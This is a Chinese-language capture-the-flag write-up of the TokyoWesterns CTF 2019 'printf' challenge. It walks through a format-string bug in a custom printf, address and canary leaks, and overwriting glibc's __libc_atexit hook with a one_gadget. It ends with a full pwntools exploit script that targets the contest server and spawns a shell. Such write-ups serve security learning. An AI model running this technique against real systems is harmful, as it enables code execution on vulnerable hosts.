0x01 前言
前天刚结束的TokyoWesterns CTF 2019里碰到一道比较有意思的格式化漏洞利用的题printf,这里分享一下解题思路。与常规fsb题不同的是,printf这题程序自己实现了printf函数。
题目下载:
链接:https://pan.baidu.com/s/1STlEFK7HoNZbW4JrYRSnIw 密码:2j77
0x02 分析
题目给了3个文件,除了常规的libc还额外给了一个ld.so,ld.so用于装载libc。一般,我们可以设置LD_PRELOAD环境变量选择强制装载特定版本的libc,但若是该libc与编译程序时所采用的libc版本相差太大,往往出现错误。
这里需要用到patchelf这个工具,执行以下命令,将libc和ld.so指向题目所给的文件
patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf
patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf
现在printf程序指向了题目所给libc和ld.so
~/workspace/elf # ldd printf
linux-vdso.so.1 => (0x00007ffe09ac1000)
libc.so.6 => /root/workspace/elf/libc.so.6 (0x00007fd7c5dd0000)
/root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fd7c5fbb000)
保护全部开启
~/workspace/elf # checksec printf
[*] '/root/workspace/elf/printf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/root/workspace/elf:/libc.so.6'
反编译printf程序,sub_136E
实际上是程序自己实现的printf函数
_int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rdx
__int64 v4; // rcx
__int64 v5; // r8
__int64 v6; // r9
__int64 v7; // rdx
__int64 v8; // rcx
__int64 v9; // r8
__int64 v10; // r9
const unsigned __int16 **v11; // rax
__int64 v12; // rdx
__int64 v13; // rcx
__int64 v14; // r8
__int64 v15; // r9
__int64 v16; // rdx
__int64 v17; // rcx
__int64 v18; // r8
__int64 v19; // r9
__int64 v20; // rdx
__int64 v21; // rcx
__int64 v22; // r8
__int64 v23; // r9
int i; // [rsp+8h] [rbp-118h]
int v26; // [rsp+Ch] [rbp-114h]
char buf[264]; // [rsp+10h] [rbp-110h]
unsigned __int64 v28; // [rsp+118h] [rbp-8h]
v28 = __readfsqword(0x28u);
sub_130D();
sub_136E((__int64)"What's your name?", (__int64)a2, v3, v4, v5, v6);
v26 = read(0, buf, 0x100uLL);
buf[v26 - 1] = 0;
for ( i = 0; i < v26 - 1; ++i )
{
v11 = __ctype_b_loc();
v7 = (__int64)*v11;
if ( !((*v11)[buf[i]] & 0x4000) )
_exit(1);
}
sub_136E((__int64)"Hi, ", (__int64)buf, v7, v8, v9, v10);
sub_136E((__int64)buf, (__int64)buf, v12, v13, v14, v15);
sub_136E((__int64)"Do you leave a comment?", (__int64)buf, v16, v17, v18, v19);
buf[(signed int)((unsigned __int64)read(0, buf, 0x100uLL) - 1)] = 0;
sub_136E((__int64)buf, (__int64)buf, v20, v21, v22, v23);
return 0LL;
}
经过测试,这个“自己实现”的printf函数存在格式化漏洞
~/workspace/elf # ./printf
What's your name?
%lx %lx %lx %lx %lx %lx
Hi,
0 7f730b0db580 7f730b001024 4 7f730b0e0540 0
Do you leave a comment?
%lx %lx %lx %lx %lx %lx
7ffcfcf0ec20 100 7f730b000f81 17 7f730b0e0540 0
利用格式化漏洞分别泄漏出stack地址、canary、libc基址、程序基址
由于Full RELRO
开启,这里我们不能写got表。查看libc的exit.c
源码:
/* Copyright (C) 1991-2019 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysdep.h>
#include <libc-lock.h>
#include "exit.h"
#include "set-hooks.h"
DEFINE_HOOK (__libc_atexit, (void))
/* Initialize the flag that indicates exit function processing
is complete. See concurrency notes in stdlib/exit.h where
__exit_funcs_lock is declared. */
bool __exit_funcs_done = false;
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur;
__libc_lock_lock (__exit_funcs_lock);
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
__libc_lock_unlock (__exit_funcs_lock);
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
onfct (status, f->func.on.arg);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
atfct ();
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
cxafct (f->func.cxa.arg, status);
break;
}
/* Re-lock again before looking at global state. */
__libc_lock_lock (__exit_funcs_lock);
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
__libc_lock_unlock (__exit_funcs_lock);
}
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
_exit (status);
}
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
注意到__libc_atexit
这个函数指针,当程序退出会调用exit函数,最终调用__libc_atexit
所指向的地址
# RUN_HOOK (__libc_atexit, ());
...
# define DEFINE_HOOK_RUNNER(name, runner, proto, args)
DEFINE_HOOK (name, proto);
extern void runner proto; void runner proto { RUN_HOOK (name, args); }
...
现在问题就在于如何将one_gadget
写入该地址。向buf随便输入一串字符(我这里输入one_gadget
的值),在内存检索该值,一共找到两处:
继续组织这样一串字符输入到buf
pl = "%{}x{}".format(4096, p64(one_gadget))
s.ru("comment?")
s.sl(pl)
明显看到one_gadget
往上了0x1000的偏移量进行写入,由于libc位于stack的上方,通过计算合适的偏移量便可用one_gadget
覆盖__libc_atexit
当调用完__libc_start_main
程序准备退出之时,我们跟进到libc的exit
函数调用__libc_atexit
的地方
可以在IDA里看到该处的代码
此时rbx的值,目标就是将0x7f7adebb46c8地址的值覆盖成one_gadget
来算算到达该地址所需要的偏移,这里的0xa80e835298
便是偏移量
0x1e66c8
是__libc_atexit
相对于libc基址的偏移,可以在IDA找到该结构
0x390
是栈内地址偏移
与我们计算出来的偏移相符合
覆盖__libc_atexit
为one_gadget
地址
0x03 get shell~
完整的EXP
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os, sys
# Setting at first
DEBUG = 3
LIBCV = 2.19
context.arch = "amd64"
#context.log_level = "debug"
elf = ELF("./printf",checksec=False)
# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive
if DEBUG == 1:
if context.arch == "i386":
libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False)
elif context.arch == "amd64":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
s = process("./printf")
elif DEBUG == 2:
if context.arch == "i386":
libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False)
os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 printf")
os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 printf")
elif context.arch == "amd64":
#libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False)
#os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 printf")
#os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 printf")
libc = ELF("./libc.so.6")
#os.system("patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf")
#os.system("patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf")
s = process("./printf")
elif DEBUG == 3:
libc = ELF("./libc.so.6",checksec=False)
ip = "printf.chal.ctf.westerns.tokyo"
port = 10001
s = remote(ip,port)
def clean():
s.close()
if DEBUG == 2:
if context.arch == "i386":
os.system("patchelf --set-interpreter /lib/ld-linux.so.2 printf")
os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 printf")
if context.arch == "amd64":
os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 printf")
os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 printf")
def pwn():
#zx(0x130B)
#pause()
pl = "%lx "*((0x100-4)/4)#64
s.sla("What's your name?", pl)
s.ru("Hi, n")
leak = s.ru("Do").split(" ")
libc.address = int(leak[2],16) - 0x10d024
stack = int(leak[39],16)
canary = int(leak[40],16)
proc_base = int(leak[41],16) - 0x2a40
one_gadget = libc.address + 0xe2383
info("libc.address 0x%x", libc.address)
info("stack 0x%x", stack)
info("canary 0x%x", canary)
info("proc_base 0x%x", proc_base)
info("one_gadget 0x%x", one_gadget)
atexit_stack_diff = stack - (libc.address + 0x1e66c8) - 0x390 + 8
info("atexit_stack_diff 0x%x", atexit_stack_diff)
pl = "%{}x{}".format(atexit_stack_diff, p64(one_gadget))
s.ru("comment?")
s.sl(pl)
s.irt()
#clean()
# TWCTF{Pudding_Pudding_Pudding_purintoehu}
if __name__ == "__main__":
pwn()
WIN~
发表评论
您还未登录,请先登录。
登录